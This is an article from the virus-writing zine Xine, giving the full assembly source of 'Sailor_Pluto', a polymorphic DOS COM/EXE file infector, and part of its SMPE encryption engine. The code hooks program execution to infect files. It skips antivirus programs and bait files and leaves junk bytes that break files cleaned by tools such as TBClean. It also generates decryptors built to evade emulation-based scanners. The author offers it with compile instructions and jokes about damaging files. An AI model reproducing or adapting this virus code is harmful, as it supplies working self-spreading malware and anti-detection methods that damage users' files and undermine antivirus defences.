
                                        /-----------------------------\
                                        | Xine - issue #2 - Phile 027 |
                                        \-----------------------------/


;
; Name          : Sailor_Pluto
; Author        : b0z0
; Group         : iKx
; Origin        : Padania, Jan/Feb/Mar 1997
; Compile       : Use TASM 3.0
;                       tasm /m2 pluto.asm
;                       tlink pluto
; Description   : This is a polymorphic COM/EXE TSR infector using SMPE
;                 (Sailor Moon Polymorphic Engine) version 0.2. Well, what
;                 does SMPE do? SMPE will generate quite large decryptors
;                 (also some Kb sometime) that contains a lot of garbage
;                 code from the most normal one (reg moving, reg math
;                 operations, reading/using memory stuff, conditional and
;                 normal jumps, calls, pushes & pops, flag operations,
;                 sometime maybe an int3, operations with immediates, both
;                 with word and byte regs....), up to quite-do-nothing
;                 interrupts (many of them... some video, kbd and many
;                 dos stuff ones) and has also many antiemulator structures
;                 that, currently, are quite succesfull in many cases
;                 against various antiviruses. The poly engine will also
;                 randomly encrypt some more bytes than we gived as parameters
;                 and will also put some more unencrypted bytes after
;                 the encrypted stuff. This is of course to make disinfection
;                 very hard. To make the poly a little more interesting
;                 the maximal random number of instructions between various
;                 pieces of code is determinated (01Fh or 03Fh) when the
;                 virus goes resident. So generally in some DOS sessions
;                 the decryptors will generally look smaller and after some
;                 boots created decryptors may be bigger :) Of course we are
;                 just changing the max limit, so the medium size of the
;                 decryptors will be smaller or bigger, but even with
;                 the small limit, decryptors can be (depending on the
;                 random generator) quite big. Also the SMPE can use
;                 all the registers as counter (just ax won't be used,
;                 because it is too needed for ints and such like) and
;                 the standard pointers as pointers (bx,di,si,bp). SMPE
;                 is able to encrypt the body of the virus from the start
;                 forward or also starting from the end downto the start.
;                 It can do really quite a lot of different code, give it
;                 a look!
;                  Apart from the poly random bytes at the end of the body
;                 also some random bytes will be put at the end of the original
;                 host just before we will put our code. No info about how
;                 much of these is present anywhere in the virus, so ,even if
;                 the AVs will be in the future able to force my poly in some
;                 way, the cleaned files will still be a little dirty :)
;                  It may be interesting the COM infection marker. Infact
;                 Sailor_Pluto will put the marker (and of course look
;                 for it when needed) in a random place in the first 1FFh
;                 bytes. This is intended to make disinfection (expecially
;                 the CRC based ones) harder. If TBClean is able to go
;                 throught the decryptor (very sporadically, because it
;                 bail out at various ints and sometimes also crashes)
;                 then the virus (using the old stack method) won't let
;                 him to restore the real word but something else, so
;                 TBClean-ed COMs won't work properly ;) As for example
;                 of this anti-crc signature you can get the TBAV CRC
;                 files. Infact only first 20h bytes may be reconstructed,
;                 so also the dear old CRC-files users will have a very
;                 difficoult existence ]:)
;                  It has many antibait features:
;                   - won't infect files divisible 1000 and 1024
;                   - will compare a word of the previously infected
;                     file to prevent infecting equal files
;                   - files with digits aren't infected
;                   - won't infect if the first two letters of the filename
;                     are equal to two letters of the previous runned file
;                     (prevent infecting different goats with a standard
;                     part as filename)
;                   - won't infect files beginning with a 'V'. Probable
;                     bait or unknown 'V'irus releated program
;                   - won't infect files created in the current month. This
;                     may slow a little the infection stage, but generally
;                     programs (commercial or not) aren't created very
;                     recently. On the other side checking just the day as
;                     many viruses do may bee too weak as antigoat.
;                  The virus won't tunnel the original int21h but will rather
;                 try to get it from List_of_Lists_segment:10A0 (as
;                 Neurobasher teaches us :)).
;                  To prevent damaging COM files under Windroga 95 and such,
;                 Sailor_Pluto won't infect COMs if version is >= 7.
;                  The poly engine will be encrypted in memory with a 16bit
;                 xor and will be decrypted when needed. Of course at each
;                 use (decryption and at the end encryption) of the poly the
;                 key will be changed. To do this i needed to wrote a simple
;                 decryption loop, so i decided (once it was there written
;                 and ready) to use it also on the file. So after the quite
;                 complex decryptor of the poly engine (that can make add,
;                 sub, xor, rol, ror with byte or word. as for ror/rol the
;                 key can be also modified in the loop) we will found a
;                 classic word xor loop. Nothing special, but will make the
;                 removing of the virus again a little bit more timewasting ;)
;                  Since the poly does quite large decryptors, reserving
;                 a big amount of mem all the time from the installation isn't
;                 a good idea. So the poly will allocate (and of course free
;                 them when finished) a part of memory where it will store
;                 the decryptor and encrypted stuff at any run when the poly
;                 is needed.
;
;

pluto            segment
                 assume cs:pluto,ds:pluto,es:pluto

		org	00h
exe_start:

                call    realstart
realstart:
                pop     bp
                sub     bp,offset realstart     ; bp delta offset

                push    cs
                pop     ds

                mov     di,offset virus_normal_encrypt_start
                add     di,bp
                mov     ax,crypt_size/2
                push    di                      ; we will continue there
                jmp     short enc_dec_smpe      ; do the simple xor loop


enc_dec_smpe_engine:
                        ; this is called for the poly encryption. pointer
                        ; end lenght are already set up for it
                mov     di,offset smpe_encrypted_start
                mov     ax,((smpe_encrypted_end-smpe_encrypted_start)+1)/2
enc_dec_smpe:
                push    cx
                mov     cx,ax
simple_dec:
        ;       xor     word ptr ds:[di],0000h
                db      81h,35h,00h,00h
                inc     di
                inc     di
                loop    simple_dec
                pop     cx
                ret


virus_normal_encrypt_start:
                mov     di,offset isexe         ; DI on exe/com marker
                add     di,bp

                cld
                cmp     byte ptr ds:[di],01h    ; is com or exe?
                jne     exe_segment_adjust

                push    cs
                pop     es

exe_segment_adjust:

                push    es
                push    es

                push    di

                mov     bx,bp
                mov     ah,18h                   ; installation check
                mov     al,ah
                int     21h
                cmp     ax,'SP'
                jne     go_resident
                jmp     bx                  ; if resident it will calculate
                                            ; the jump offset for us
go_resident:
                mov     dx,'MZ'
                mov     ax,es               ; on PSP
                xor     di,di
                dec     ax                  ; to MCB
                mov     ds,ax               ; DS on MCB
l4mcb:
                mov     bx,word ptr ds:[di+03h]
                inc     bx
                cmp     byte ptr ds:[di],dl ; last MCB?
                je      last
                add     ax,bx
                mov     ds,ax
                jmp     l4mcb
last:
                mov     cx,size_para+1          ; size in para + 1 for mcb
                sub     ax,cx
                add     ax,bx

                sub     word ptr ds:[12h],cx         ; = PSP+2
                sub     word ptr ds:[03h],cx         ; = MCB+3
                mov     byte ptr ds:[di],dh             ; DH = 'M'

                mov     ds,ax

                dec     cx
                mov     byte ptr ds:[di],dl      ; "create" last MCB block
                mov     word ptr ds:[1],08h
                mov     word ptr ds:[3],cx

                inc     ax
                mov     es,ax               ; es = virus segment

                push    cs
                pop     ds                  ; ds points on code
                mov     cx,(virus_size+1)/2
                mov     si,bp               ; start of the virus
                rep     movsw               ; move virus

                push    es                  ; virus segment

                sub     ax,ax
                mov     ds,ax

                mov     word ptr es:[simple_dec + 2],ax ; poly isn't enc. yet

                mov     cx,offset int21_handler
                pop     dx

                cli
                xchg    cx,word ptr ds:[084h]           ; Set our int 21h
                xchg    dx,word ptr ds:[086h]
                mov     word ptr es:[old_int21_off],cx  ; handler
                mov     word ptr es:[old_int21_seg],dx
                sti

                push    es
                mov     ah,52h                  ; get list of lists
                int     21h
                push    es
                pop     ds
                pop     es
                mov     si,10a0h                ; look for original int21h

                cmp     word ptr ds:[si-2],9090h        ; first sig
                jne     originals
                cmp     byte ptr ds:[si],0e8h     ; check if it is.
                jne     originals
                mov     cx,si
                mov     dx,ds
originals:
                mov     word ptr es:[orig_21h],cx
                mov     word ptr es:[orig_21h+2],dx

                mov     ah,01fh                 ; select if the max number
                in      al,40h                  ; of garbage instructions
                ror     al,1                    ; in the gargage generation
                jc      dont_add_max            ; in this session will be
                add     ah,020h                 ; 01fh or 03fh
dont_add_max:
                mov     byte ptr es:[do_garbage+1],ah   ; store it

notinst:
                pop     di

                pop     es
                pop     ds

                cmp     byte ptr cs:[di],00h          ; com or exe?
                jne     realcom

                mov     ax,ds                         ; .EXE restore
		add	ax,10h
                add     cs:[di-09h],ax                ; modify cs

                sub     bx,bx
                sub     cx,cx
                sub     dx,dx
                sub     si,si
                sub     bp,bp

		cli
                mov     sp,word ptr cs:[di-07h]       ; restore sp
                add     ax,word ptr cs:[di-05h]       ; modify ss
		mov	ss,ax
		sti

		sub	ax,ax
                push    cs:[di-09h]           ; push victim cs
                push    cs:[di-0bh]           ; push victim ip
                sub     di,di
                retf                          ; return on original cs:ip

infip           dw      00000h
infcs           dw      0fff0h

infsp           dw      ?
infss		dw	?

old_jump        db      0cdh,020h,00h           ; original first 3 bytes
isexe           db      00h                     ; 00h=exe, 01=com
old_two_rnd     db      00h,00h                 ; original random word

virus_name      db      'Sailor_Pluto',0
virus_author    db      '-b0z0/iKx-'

do_original_21h:
                pushf                           ; does a call to the
                call    dword ptr cs:orig_21h   ; original (if got) int 21h
                ret

orig_21h        dd      00h

realcom:
                sub     ax,ax           ; .COM file restore
                inc     ax
                xchg    ah,al
                push    ax              ; ax = begin of com in mem
                push    ax
                mov     si,ax
                add     si,03h          ; si = where to start checking

search_loop:
                inc     si
                cmp     word ptr ds:[si],'PS'   ; search for changed word
                jne     search_loop

                mov     bx,word ptr ds:[di+01h] ; original word

                push    bx
                pop     cx                      ; Be sure that TBClean
                dec     sp                      ; and such like will
                dec     sp                      ; permanently destroy
                pop     ax                      ; the COM file :-)

                mov     word ptr ds:[si],ax     ; restore changed word

                lea     si,[di-03h]             ; old three bytes
                pop     cx
                pop     di

                xor     ax,ax                   ; needed for some old DOS coms

                movsw                           ; put original 3 bytes
                movsb

                jmp     cx                      ; jump at cs:100

int21_handler:
                xchg    ah,al
                cmp     ax,1818h               ; installation check
		jne	acheck
                mov     ax,'SP'                ; Sailor_Pluto responses
                add     bx,offset notinst
		iret
acheck:
                cmp     ax,004bh               ; program execution
		je	execute

goint21:
                xchg    ah,al
                db      0EAh
old_int21_off   dw      ?
old_int21_seg	dw	?

;
origin          db      'PADANIA - 1997',0
;

execute:
		pushf
                push    dx
                push    ax
                push    cx
                push    bx
		push	bp
                push    ds
		push	si
		push	di
		push	es

                mov     ah,19h          ; don't infect on floppyes
                call    do_original_21h
                cmp     al,2
                jae     ok_disk
                jmp     restore_registers
ok_disk:
                push    ds
		push    dx 
                mov     ax,3524h          ; get int24h seg and off
                call    do_original_21h
                mov     word ptr cs:[old_int24_off],bx  ; store them
                mov     word ptr cs:[old_int24_seg],es

                push    cs
		pop     ds
                mov     dx,offset int24h          ; our int24h
		mov     ax,2524h
                call    do_original_21h
                pop     dx
                pop     ds

                push    dx
                pop     di
sloop:                                          ; ds:di-> filename
                inc     di
                cmp     byte ptr ds:[di],'.'
                jne     sloop                   ; search for '.'
                cmp     byte ptr ds:[di+4],00h
                jne     sloop
                inc     di
look_sla:
                dec     di
                mov     al,byte ptr ds:[di-1]
                cmp     al,'0'
                jb      ok_name_let
                cmp     al,'9'                  ; numeric in name?
                jbe     exit_from_here
ok_name_let:
                cmp     al,'\'                  ; search for \
                jne     look_sla
                lea     si,antiviruses
                mov     ax,word ptr ds:[di]
                cmp     al,'V'          ; probable bait or AV software
                je      exit_from_here
                cmp     ax,word ptr ds:[exec_letter]    ; similar names?
                je      exit_from_here
avcloop:
                mov     cx,word ptr cs:[si]
                cmp     ax,cx
                jne     notav
exit_from_here:
                stc
                jmp     endscan
notav:
                inc     si                      ; next av signature
                inc     si
                cmp     byte ptr cs:[si],00h    ; end of the checked sigs?
                je      endscan
                jmp     avcloop
endscan:
                jnc     bogus
                jmp     oh_shit2
bogus:
                mov     word ptr ds:[exec_letter],ax    ; store 2 letters
                mov     ax,4300h
                call    do_original_21h

                push    cx
                push    ds
                push    dx
                sub     cx,cx
                call    set_attr

                jnc     file_writeable
exiting:
                jmp     oh_shit
file_writeable:
                mov     ax,3d02h                ; open for rw
                call    do_original_21h
                jc      exiting
ahead:
                mov     bx,ax                   ; bx file handle as usual
		push	cs
		pop	ds

; file lenght check

                mov     al,02h                          ; lseek at end
                call    movefile

                or      dx,dx
                jnz     leave_ax_check

                cmp     ax,1388h                        ; AX = 5000?
                jbe     set_marker

leave_ax_check:
                xor     dx,dx

                push    ax
                mov     cx,1000d                        ; divisible by 1000
                div     cx
                pop     ax
                or      dx,dx
                jz      set_marker

                and     ax,1ffh                         ; divisible by 1024
                jnz     oki_lenght_chk
set_marker:
                jmp     oh_shit
oki_lenght_chk:

                mov     ax,5700h                ; read date/time
                call    do_original_21h
                push    cx
                push    dx

                mov     ah,2ah                ; get system date
                call    do_original_21h

                sub     cx,1980               ; prepare for compare
                mov     ax,dx
                pop     dx
                push    dx
                push    cx
                mov     cl,07
                rol     dx,cl                 
                pop     cx
                and     dl,07fh               ; DX = years from 1980
                cmp     dl,cl
                jne     different_year        ; away if year is different

                pop     dx
                push    dx
                mov     cl,5
                ror     dx,cl
                and     dl,0fh                ; get just month
                xchg    ah,al
                cmp     al,dl
                je      closing               ; exit if month is current

different_year:
                xor     al,al
                call    movefile              ; go at file start

                mov     ah,3fh                ; read 200h bytes from file
                mov     cx,200h
		lea	dx,exeheader
		mov	si,dx
                call    do_original_21h

                mov     ax,word ptr ds:[goat_word]
                cmp     word ptr [si+02h],ax
                je      closing                 ; is the same word at 02h ?

                mov     ax,'ZM'

                cmp     word ptr [si],ax        ; check MZ
                je      exestuff
                xchg    ah,al
                cmp     word ptr [si],ax        ; check ZM
                je      exestuff
                cmp     byte ptr [si],0e9h      ; jump in com?
                jne     cominf
                push    si
                add     si,02h
                mov     cx,1ffh                 ; bytes to check

signature_check:
                inc     si
                cmp     word ptr ds:[si],'PS'   ; look for our marker
                jne     next_one
                pop     si
                jmp     closing
next_one:
                loop    signature_check
                pop     si
cominf:
                jmp     cominfect               ; infect com file
exestuff:
                cmp     byte ptr [si+18h],'@'   ; no winexes
		je	closing
                mov     ax,word ptr [si+12h]
                xor     ax,word ptr [si+16h]
                cmp     ax,'PS'                 ; check for infection marker
                je      closing
                cmp     word ptr [si+1ah],00h   ; internal ovl
		jne	closing

                call    exeinfect               ; infect .exe file
closing:
                pop     dx
                pop     cx
                mov     ax,0157h                ; set date/time
                xchg    ah,al
                call    do_original_21h

                mov     ah,3eh                  ; close file
                call    do_original_21h
oh_shit:
                pop     dx
                pop     ds
                pop     cx
                call    set_attr                ; reput old attributes
oh_shit2:
                mov     ax,2524h                ; restore int 24h
                mov     ds,cs:[old_int24_seg]
                mov     dx,cs:[old_int24_off]
                call    do_original_21h

restore_registers:
                pop     es
		pop	di
		pop	si
                pop     ds
		pop	bp
                pop     bx
                pop     cx
                pop     ax
                pop     dx
		popf
		jmp	goint21


cominfect:      ;com infection routine
		;bx <-- filehandle
		;si --> exeheader
		;cs=ds=code

                push    bx
                mov     ah,30h          ; get dos version
                call    do_original_21h
                pop     bx
                cmp     al,07h          ; is >= 7 ?
                jae     exitcominfect   ; if so, no COMs, sry :)

                push    ds              ; copy original 3 bytes
		pop	es
                lea     di,old_jump     ; in old_jump
		movsw
                movsb
                sub     si,03h

                mov     ax,word ptr ds:[si+02h]         ; store word for cmp
                mov     word ptr ds:[goat_word],ax

getrndi:
                in      al,40h          ; where to put our marker
                cmp     al,4
                jbe     getrndi
                xor     ah,al
                and     ah,01b

                dec     al              ; it will go from 04 to 1feh

                mov     di,ax
                add     di,si

                mov     ax,word ptr ds:[di]             ; save old word
                mov     word ptr ds:[old_two_rnd],ax
                mov     word ptr ds:[di],'PS'           ; put our marker

                mov     al,02h                          ; lseek at end
                call    movefile

                cmp     ax,0C0DEh                       ; AX > 49374?
                ja      exitcominfect                   ; JMP if >

                call    add_end                         ; put some shit on end

                push    ax

                sub     ax,03h                          ; sub the jmp
                mov     word ptr ds:[exeheader+01h],ax  ; new jump
                mov     byte ptr ds:[exeheader],0e9h

                mov     byte ptr isexe,01h              ; mark as com

                pop     bp
                add     bp,100h                         ; run offset

                push    ds
                push    si

                mov     cx,(virus_size)
                xor     dx,dx                   ; virus starts at seg:0
                mov     al,01h                  ; can play with es

                call    smpe                    ; call poly
                jnc     poly_exit_ok
                pop     si                      ; restore stack
                pop     ds
                jmp     closing
poly_exit_ok:
                push    es
                pop     ds

                mov     ah,40h                  ; write virus

                pop     si
                push    ax
                call    do_original_21h

                xor     al,al                   ; go at start
		call	movefile

                pop     ax
                pop     ds
                mov     cx,200h                ; write first 512 bytes
                mov     dx,offset exeheader
                call    do_original_21h

exitcominfect:
                jmp     closing

movefile:
                mov     ah,42h                 ; move to start or end
		cwd
		sub	cx,cx
                call    do_original_21h
                ret
add_end:
                push    ax
                push    ds
randi_add:
                in      al,40h
                or      al,al                   ; at least 1 byte
                jz      randi_add
                mov     ds,ax                   ; random "From:" place
                xor     ah,ah
                mov     cx,ax                   ; how much pure shit :-)
                mov     ah,40h                  ; write to file
                call    do_original_21h
                pop     ds
                pop     ax
                add     ax,cx                           ; add to lenght
                ret

phrase          db      'Chaos is the future and beyond it is Freedom',0

exeinfect:
		;bx <- filehandle
		;si -> exeheader

                mov     cx,word ptr [si+04h]    ; calculate real lenght
                mov     ax,512
                mul     cx
                add     ax,word ptr [si+02h]
                adc     dx,00h

                mov     di,dx

                push    ax

                mov     al,02h
                call    movefile

                pop     cx

                cmp     dx,di                   ; compare lseek length with
                jbe     oki_lenght
exit_lenght:
                ret
oki_lenght:
                cmp     ax,cx                   ; lenght loaded by the loader
                ja      exit_lenght

                call    add_end                 ; put some shit at end

                adc     dx,0

                push    ax                      ; store length
		push	dx

                mov     cx,word ptr [si+14h]    ; store old IP
                mov     infip,cx
                mov     cx,word ptr [si+16h]    ; store old CS
                mov     infcs,cx
                mov     cx,word ptr [si+10h]    ; store old SP
                mov     infsp,cx
                mov     cx,word ptr [si+0eh]    ; store old SS
                mov     infss,cx

		mov	cx,10h
		div	cx

		sub	ax,word ptr [si+08h]
                mov     word ptr [si+14h],dx    ; new cs:ip
		mov	word ptr [si+16h],ax

                mov     cx,'PS'
                xor     cx,ax                   ; modify marker
                mov     word ptr [si+12h],cx    ; store marker

                mov     bp,dx

                push    dx

                mov     byte ptr [isexe],00h

                push    ds
                push    ax
                push    si

                mov     cx,(virus_size)
                xor     dx,dx                   ; virus at cs:0
                xor     al,al                   ; no es modif

                call    smpe

                push    es
                pop     ds
                pop     si

                jnc     poly_exit_exe_ok        ; if carry error in poly
                add     sp,0ah                  ; stack adjust
                ret
poly_exit_exe_ok:

                mov     ah,40h                  ; write virus at end
                push    cx
                call    do_original_21h

                sub     al,al                   ; move at start
                call    movefile

                pop     cx
                pop     ax
                pop     ds                      ; rewrite header
                pop     dx

                cmp     byte ptr [seg_sta],02h
                je      cs_must_equ_ss

        ; we must here pay attention if our poly generated an operation
        ; using BP as pointer. This is because if BP is used and segment
        ; isn't explicitly given it will assume that we are working on SS
        ; and not on DS as with other registers as pointers... so if no
        ; segment is explicitly given in the poly and BP is used we must
        ; set SS=CS. In other cases SS=CS+1 so 'K' flag will be less often

                inc     ax                      ; SS = CS + 1
cs_must_equ_ss:
                mov     word ptr [si+0eh],ax    ; new stack segment


                add     dx,cx                   ; just after body
                add     dx,500h                 ; some more coz needed
                and     dl,0feh
                mov     word ptr ds:[si+10h],dx ; new stack pointer

                pop     dx
                pop     ax

                add     ax,cx
                mov     cx,200h                 ; one page
                adc     dx,00h
                div     cx

                xchg    word ptr [si+02h],dx    ; new length
                mov     word ptr [goat_word],dx
                inc     ax
                mov     word ptr [si+04h],ax    ; new length

                mov     ah,40h                  ; write header
                mov     cx,200h
		mov	dx,si
                call    do_original_21h

exitexeinfect:
		ret

set_attr:
                mov     ax,0143h                ; set attributes
                xchg    al,ah
                call    do_original_21h
                ret

antiviruses     db      'TB'    ; TBAV and releated
                db      'AV'    ; AVP
                db      'F-'    ; F-Prot
                db      'SC'    ; Scan
                db      'MS'    ; Misc Micro$Hit warez ;-)
                db      'FI'    ; Findvirus
                db      'NA'    ; NAv
                db      'CO'    ; Command
                db      00h     ; end of strings

; Int 24h handler. Just go away if error

int24h:
                mov     al,00h
                iret

; Include poly engine source code

include         spoly.asm

virus_normal_encrypt_end:

; The poly engine has on end poly_mem_used bytes that are used only
; in memory

virus_end:

old_int24_off   dw      ?                   ;original int24 offset
old_int24_seg   dw      ?                   ;original int24 segment

exec_letter     dw      ?
goat_word       dw      ?

exeheader       db      201h dup (?)

virus_end_memory:

size_para=(virus_end_memory-exe_start+0fh)/10h ; virus size in memory
virus_size=(virus_end - exe_start - poly_mem_used + 3)
virus_crypt_size=(virus_normal_encrypt_end-virus_normal_encrypt_start)
crypt_size=(virus_crypt_size-poly_mem_used+1)

pluto   ends
end	exe_start

;------------------------------------------------------------------------------
;------------- Everything after this line is the SPOLY.ASM file ---------------
;------------------------------------------------------------------------------

;
; Sailor Moon Poly Engine v0.2
; in:
;    CX = bytes to encrypt
;    DS:DX = what we are going to encrypt (body of ourselves)
;    BP = offset at which it will run
;    AL = can ES be modified? (00 = NO (for exes) , 01 = YES (for coms))
; it is assumed that DS=CS !!!
;
; out:
;    CX,DI = lenght of the generated code
;    ES:DX = encrypted code
;    BX    = preserved
;

poly_mem_used=(poly_data_mem_end-poly_data_mem)
poly_paras=400h                                 ; memory for poly


smpe:
        mov     ah,01h                          ; store ah flag
        mov     word ptr ds:[es_mody],ax
        call    enc_dec_smpe_engine             ; decrypt engine

smpe_encrypted_start:
        cld
        push    bx

;; Try to allocate the needed memory for the poly stuff

        mov     ah,48h                          ; allocate mem for our poly
        mov     bx,poly_paras
        call    do_original_21h
        jnc     ok_memory
        mov     word ptr ds:[simple_dec+2],00   ; we won't encrypt it now,
                                                ; so don't decrypt it later ;)
        pop     bx
        stc                                     ; no mem avaiable :(
        ret
ok_memory:
        mov     es,ax                           ; allocated segment

        push    cx
        push    ds                              ; save important regs
        push    dx

;; Initialization start

        call    add_to_cx

        sub     bx,bx
        mov     byte ptr ds:[first_inc],46h
        mov     word ptr ds:[enc_lenght],cx     ; save lenght
        mov     word ptr ds:[enc_loop],3480h    ; engine initialization
        mov     word ptr ds:[isword],bx         ; clear type selection
        mov     word ptr ds:[random_value],09090h  ; clear rnd value
        mov     byte ptr ds:[second_inc],90h    ; clear second word inc
        mov     word ptr ds:[emu_trick],bx
        mov     word ptr ds:[push_nr],bx
        mov     word ptr ds:[cmp_check],bx
        dec     bx
        mov     word ptr ds:[count_reg],bx      ; clear used registers
        mov     word ptr ds:[nocx],bx           ; clear cx and seg flag

        sub     di,di                           ; so ES:DI = ES:0

        in      ax,40h                          ; initialize encryption
        mov     word ptr ds:[simple_dec+2],ax   ; value for next time

;; Initialization end


;; Decryption building start

        call    do_garbage                      ; decryptor gen. start
rndget:
        call    do_random_dx_0f

        cmp     al,4            ; no sp
        je      rndget

        cmp     al,00h          ; no ax
        je      rndget

        mov     byte ptr ds:[count_reg],al

        mov     ah,al
        mov     al,0b8h                         ; mov _reg16_,immediate
        add     al,ah
        stosb

        in      al,40h
        ror     al,1
        jnc     on_one_side
        mov     byte ptr ds:[inverse],01h

on_one_side:

        call    do_random_dx_0f                 ; 0-2 ROR, 3-7 MATH

        cmp     al,2
        ja      nororing                        ; select if ror/rol of math

        cmp     byte ptr es:[di-1],0b9h
        je      nororing                        ; if using CX no rol/ror!
        mov     byte ptr ds:[isrolror],01h      ; we'll ror/rol

        cmp     al,0
        jne     nororing
        inc     byte ptr ds:[isrolror]          ; rol/ror with diff CL

nororing:
        ror     al,1
        jc      notaword
        mov     byte ptr ds:[isword],01h        ; word operation
notaword:

        mov     word ptr ds:[counter_pos],di
        stosw                                   ; we will fill this later
        call    do_garbage                      ; shit stuff

isntapnt:
        call    do_random_dx_0f
        cmp     al,03h                          ; select a pointer
        jb      isntapnt
        cmp     al,04h
        je      isntapnt
        cmp     al,byte ptr ds:[count_reg]      ; can't be same as counter
        je      isntapnt
        mov     byte ptr ds:[point_reg],al

        mov     ah,al
        mov     al,0b8h                 ; mov _reg16_,immediate
        add     al,ah
        stosb

        mov     pointer_di,di           ; save pointer position
        stosw

        call    do_garbage
        cmp     byte ptr ds:[isrolror],00h
        je      dontcl

        in      al,40h
        shr     ax,1
        pushf
        jc      make_a_cx
        mov     al,0b1h                         ; mov cl,rot_num
        stosb
        jmp     redorandom
make_a_cx:
        mov     al,0b9h                         ; mov cx,rot_num
        stosb

redorandom:
        mov     bx,0fh                          ; how many rols/rors
        mov     dx,bx
        call    do_random
        cmp     al,00h
        je      redorandom
        stosb
        mov     byte ptr ds:[cl_move],al
        mov     byte ptr ds:[nocx],01h
        popf
        jnc     no_cxbadd
        in      al,40h                          ; something for ch
        stosb
no_cxbadd:
        call    randomshit                      ; garbage
dontcl:
        mov     word ptr ds:[secphs],di         ; where we will jump
        push    di
        call    randomshit
        pop     ax
        ror     al,1
        jc      withsegmentop
        mov     al,0eh                          ; PUSH CS
        stosb
        call    randomshit
        mov     al,1fh                          ; POP DS
        stosb
        mov     byte ptr ds:[ds_mody],00h       ; don't use ds
        mov     byte ptr ds:[seg_sta],01h
        call    randomshit
        jmp     mathoperation
withsegmentop:
        mov     al,02eh                         ; CS:
        stosb
mathoperation:
        cmp     byte ptr ds:[isrolror],00h
        je      puremath
        mov     al,0d2h                         ; ROL/ROR base byte
        cmp     byte ptr ds:[isword],00
        je      rolbyte
        inc     al                              ; word = byte +1
rolbyte:
        stosb                                   ; first rol/ror byte
        call    do_random_dx_0f
        ror     al,1
        mov     al,04h
        jnc     rollinging
        add     al,08h                          ; roring
        mov     byte ptr [enc_loop+1],04h       ; encryptor always with SI
        jmp     rolend
rollinging:
        mov     byte ptr [enc_loop+1],0ch       ; ROL/ROR base
rolend:
        cmp     byte ptr [point_reg],06h        ; ROL/ROR si?
        je      finish_pointer_ro
        inc     al
        cmp     byte ptr [point_reg],07h        ; ROL/ROR di?
        je      finish_pointer_ro
        add     al,2
        cmp     byte ptr [point_reg],03h        ; ROL/ROR bx?
        je      finish_pointer_ro
        add     al,03fh                         ; so it is bp
        inc     byte ptr [seg_sta]
        stosb
        sub     al,al                           ; bp needs 1 byte more
finish_pointer_ro:
        stosb
        jmp     nowordi
puremath:
        mov     al,080h                         ; ADD/SUB/XOR base
        cmp     byte ptr ds:[isword],00h
        je      goforbyte
        inc     al                              ; word = byte +1
goforbyte:
        stosb
        mov     bx,02h
        mov     dx,03h
        call    do_random                       ; select which
        mov     cl,al
        mov     al,34h

        cmp     cl,00h
        je      xoring

        cmp     cl,01h
        jne     subbing
        sub     al,30h
        mov     byte ptr [enc_loop+1],2ch       ; ADD
        jmp     xoring
subbing:
        sub     al,08h
        mov     byte ptr [enc_loop+1],04h       ; SUB
xoring:
        cmp     byte ptr [point_reg],06h        ; SI?
        je      finish_pointer
        inc     al
        cmp     byte ptr [point_reg],07h        ; DI?
        je      finish_pointer
        add     al,2
        cmp     byte ptr [point_reg],03h        ; BX?
        je      finish_pointer
        add     al,03fh                         ; well, BP!
        inc     byte ptr [seg_sta]
        stosb
        sub     al,al                           ; bp needs 1 byte more
finish_pointer:
        stosb
        in      al,40h
        mov     byte ptr ds:[random_value],al
        stosb                                  ; one random value
        cmp     byte ptr ds:[isword],00h
        je      nowordi                        ; encrypting words?
        in      al,40h
        stosb
        mov     byte ptr ds:[random_value+1],al ; one more
nowordi:
        call    do_inc_pointer                  ; increment pointer

        cmp     byte ptr ds:[isrolror],02h      ; rol/ror with changing CX
        jne     no_cl_change
        call    random_foo_instructions
        in      al,40h
        ror     al,1
        mov     al,041h                         ; inc cx
        jc      increment_cx
        add     al,08h                          ; 49h = dec cx
increment_cx:
        mov     byte ptr ds:[random_value+1],al ; put also in encryptor
        stosb

no_cl_change:
        cmp     byte ptr ds:[isword],00h        ; is word?
        je      noby
        call    do_inc_pointer                  ; increment once more
noby:

        call    do_garbage
        mov     al,048h                         ; dec counter
        add     al,byte ptr ds:[count_reg]
        stosb

        call    do_random_dx_0f                 ; CMP or no CMP?
        cmp     al,05h
        jae     direct_ncmp

        push    ax
        call    do_garbage
        pop     ax

        cmp     al,02h
        ja      no_compare

        mov     byte ptr ds:[can_doda],01h

        mov     ah,083h                         ; base for ops
        cmp     al,00h
        ja      no_cmp
        mov     al,0f8h                         ; CMP counter,0
        jmp     comp_store
no_cmp:
        cmp     al,02h
        je      oring
        mov     al,0f0h                         ; XOR counter,0
        jmp     comp_store
oring:
        mov     al,0c8h                         ; OR  counter,0
comp_store:
        xchg    ah,al
        add     ah,byte ptr ds:[count_reg]      ; store op
        stosw

        sub     al,al                           ; CMP/XOR/OR counter,0
        stosb
        jmp     direct_ncmp
no_compare:
        cmp     al,04h
        je      do_with_and
        mov     al,0bh                          ; OR counter,counter
        jmp     second_operand
do_with_and:
        mov     al,23h
second_operand:
        stosb
        mov     al,0c0h                         ; AND counter,counter
        mov     cl,byte ptr ds:[count_reg]
        add     al,cl
        call    instr_change
        stosb
direct_ncmp:
        call    do_random_dx_0f
        mov     cl,al                           ; random in cl
        mov     ax,di
        inc     ax
        sub     ax,word ptr ds:[secphs]         ; check lenght of the jump
        not     ax                              ; of the decryption loop
        ror     cl,1
        jc      must_be_long
        cmp     ax,0ff83h
        jae     do_short_jump

must_be_long:
        sub     ax,03h                          ; for the jz forward

        push    ax
        mov     ax,0374h                        ; JZ=JE away
        cmp     byte ptr ds:[can_doda],00h
        je      ok_stojz
        ror     cl,1
        jc      ok_stojz
        inc     al                              ; put JBE
        inc     al
ok_stojz:
        stosw
        mov     al,0e9h                         ; JMP
        stosb
        pop     ax

        jmp     end_bjump

do_short_jump:
        cmp     byte ptr es:[di-1],049h         ; is a DEC CX ?
        jne     normal_short_jump
        ror     cl,1
        jc      normal_short_jump
        dec     di                              ; overwrite the dec cx
        dec     al                              ; jump bytes
        mov     ah,0e2h                         ; LOOP
        jmp     xchnstr

normal_short_jump:
        mov     ah,75h                          ; JNE=JNZ back
        cmp     byte ptr ds:[can_doda],00h
        je      xchnstr
        ror     cl,1
        jnc     xchnstr
        inc     ah
        inc     ah
xchnstr:
        xchg    ah,al

end_bjump:
        stosw
        mov     ax,01h
        mov     byte ptr ds:[ds_mody],al        ; we can again change DS
        dec     ax
        dec     ax
        mov     word ptr ds:[count_reg],ax      ; we can now use all regs

        call    do_garbage                      ; put some more garbage

        cmp     byte ptr ds:[inverse],01h
        jne     no_more_needed

        call    do_garbage                      ; expecially if we encrypted
        call    do_garbage                      ; from end to begin - prefetch

